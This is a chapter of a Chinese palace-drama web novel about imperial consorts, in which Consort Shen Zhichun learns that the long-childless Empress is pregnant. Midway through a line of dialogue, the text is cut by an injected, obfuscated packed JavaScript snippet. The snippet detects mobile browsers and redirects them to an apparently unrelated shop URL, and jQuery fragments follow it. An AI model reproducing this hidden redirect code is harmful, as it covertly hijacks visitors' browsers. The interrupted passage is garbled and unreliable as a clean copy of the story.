次日,萧祁连自然是早早地上朝去了,沈知春此时也梳好妆准备出门。
“如今新人里终究是小主和秦宝林颇得圣心呢。”露水悄声道。
沈知春摇摇头,她们初入宫中,自己与秦宝林又长得比另外两个略略出彩些,圣上自然会多作眷顾,可日子一长,能留住人的便不会再是出色的容颜了。
今后会如何,倒还真不好说。
这雨下了一夜终于是停了,只是路上湿滑难行,沈知春便慢慢地小步走着。五品才人是可以乘轿子的,只是今日无雨,宫人们抬轿也是辛苦,她便也不想折腾了。
刚到凤仪宫,飞霞和流云就端上了热茶,好给她们暖暖身子。
“多谢皇后娘娘了。”一杯热茶下肚,果然沈知春身上都暖了起来。
今日宋宝林还是没有来。
昨日沈知春和林御女去她宫里时都被吓了一大跳,她恹恹的躺在床上毫无生气的样子,脸色也宛如白纸一般。
“宋姐姐?”林御女轻轻地唤道,也不知对方是睡着了还是难受得晕过去了。
“你们来了。”宋宝林看着她们两个强撑着想要坐起身来,最终还是失败了。
沈知春看她这副样子也是可怜,忙将她按回去:“宋妹妹你身子不好还是赶紧躺着罢,若是有个什么不好的,我和林妹妹倒要愧疚坏了。”
婢子端来了两把凳子放在床边,沈知春和林御女便都就坐了。
“宋妹妹,我见你这样子实在是担心得紧。白充媛虽说你是幼时便有的弱症,可我看着实在太吓人了些。”沈知春见她只是躺着额上便生出不少冷汗来,委实不像自己休息几日便能好的样子,“还是唤太医来看看罢。”
宋宝林惨然一笑:“妹妹自己的身子自己清楚,便是太医来了也不过是开些滋补的药方罢了。我这病症在家时便寻遍了名医,一到天气转寒时便要发作一回的,只是看着吓人罢了,明日就会好的。”
沈知春见她这样心知多劝亦是无用,便也不再说了。
“宋姐姐,你这究竟是什么病,竟如此严重。”林御女开口问道。
“不过是我身子太虚罢了。”说着,她便咳嗽起来,几乎要将五脏六腑都要咳出来一般。
林御女瞧了沈知春一眼,沈知春便会意站起身来:“宋妹妹,那你好好养病,我与林妹妹便不打扰你休养了。”
“沈才人。”
沈知春从回忆里抽身出来,看着声音的主人:“陈妹妹。”
“听说昨日宋宝林病得更厉害了些,这丫头倒是可怜见的。说起来昨日大雨,圣上还去了才人处,当真是心疼才人呢。”陈采女目光一移,便看见她身边那人低头不语的样子。
容妃也看向下首偃旗息鼓的秦宝林,哂笑道:“秦宝林往日是爱说话的,怎么今日不见不吭声呢?莫不是也病了?”
秦宝林本就因前事和容妃结了梁子,如今见她如此自然更是生气,于是她轻蔑一笑:“怎么,妾便要日日话多不成?今日不过是冻着了,喉咙不适而已。”
“原来是喉咙不适。”容妃故意笑道,“我只当秦宝林因着沈才人侍寝一事心生不满呢。”
沈知春假意劝道:“容妃娘娘这般讲,倒折煞妾了,秦妹妹不是这般心胸狭窄之人。”而后,她忙将手抬起欲拉身边的秦宝林,却被她用力甩开了。
这可不就是明晃晃的说她不满自己侍寝么?
秦宝林只是下意识地这般,现下反应过来也知道自己方才所做实在不妥,便找补道:“沈姐姐见谅,只不过妹妹有咳疾,不愿染给姐姐。”
明眼人都看得出她笑得牵强。
她这是实打实地早早就将自己的弱点暴露无遗了,抑或是说,她这种性子压根就无法处事圆滑。以秦家的权势,送一个这样空有颜色的女人进宫,实在是让人想不通他们打的什么算盘。
正这样想着,皇后便出来了,她端坐在凤位上,看着众嫔妃向他行礼问安。
“近日春雨连绵,吾听说宋宝林亦受了寒气病倒了,也已派了太医去瞧她。这些日子若是下雨,你们便不必来向吾请安了。”
众妃齐声道:“皇后娘娘仁慈。”
听着她的略显无力的声音,沈知春觉得有几分不对劲,便抬头看向王念元:她的双眼无神,才讲了一句话胸脯便起伏得厉害,不知是否是病了。
众人退去,沈知春却坐在位子上不动。
“沈才人,您不回去吗?”飞霞见她丝毫没有要走的意思,便问道。
沈知春径直走向内殿:“我要见皇后娘娘。”
飞霞为难道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408741|200626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈才人,皇后此刻不宜见您。”
“让她进来罢。”帘内传来王念元的声音,飞霞便带着沈才人进去了。
一进门,便看见王念元无力地靠在一个金织牡丹软枕上,流云在替她揉捏着酸胀的脑袋:“沈才人,你来见吾可是有何要事?”
沈知春见她这般,便知道昨日王太尉进宫定不是寻常聊些家事,她的妆容虽浓,却也盖不住眉目之间的疲态:“娘娘可是病了?可有传召太医?”
飞霞叹了口气:“娘娘不肯就医,沈才人也替我劝劝娘娘罢。”
“非是吾不愿传召太医,只是吾并未染病,不过夜间没睡好,所以格外疲累。”王念元摆摆手,示意她坐在自己身边。
沈知春坐下,伸手探了探王念元的额头,倒是不烫:“娘娘,便是疲累也得叫太医过来开个安神的汤药才是。”话一说完,沈知春便用眼神示意无琴去传太医来,王念元刚要开口,却只见沈知春跪在地上行了一个大礼:“今日是妾僭越,若娘娘要罚,便罚妾罢。”
王念元苦笑道:“罢了罢了,你快起身罢。你也是担心吾的身子,叫吾如何怪你?”
说话间,太医便来了。王念元露出了洁白的手腕,太医恭敬地将皇后的手垫在软枕上,又将手指放在她青色的血管处,细细探查。
而后,太医紧皱的眉头舒展开,跪地道:“恭喜娘娘,娘娘已有一月的身孕。只是娘娘近来似乎心有郁郁,为了娘娘和皇嗣考量,还请娘娘今后放宽心绪才是。”
皇后伴驾已有十年,期间一直不曾听说她得孕的消息,如今骤然有喜,那这朝堂格局便就截然不同了。以往后宫只有一个德妃所出的大皇子,然而谁也想不到久久未孕的皇后还能妊娠。皇后所生是中宫嫡出,按着规矩便是无可争议的太子,其他人再是出类拔萃,也只能甘为人臣了。
只是王念元的脸上却并没有显露出多少欣喜之色:“多谢太医了。”
太医开了些滋补的药方又嘱咐了些要注意的事项,便离开抓药去了。
太医走后,沈知春及其他婢子们都跪地恭贺这位国母终于怀有龙嗣,王念元却挥挥手将她们都赶出去了。
室内只余哀愁地倚着的王念元和站在身旁默默立着的飞霞。
“飞霞,吾真希望没有这个孩子。”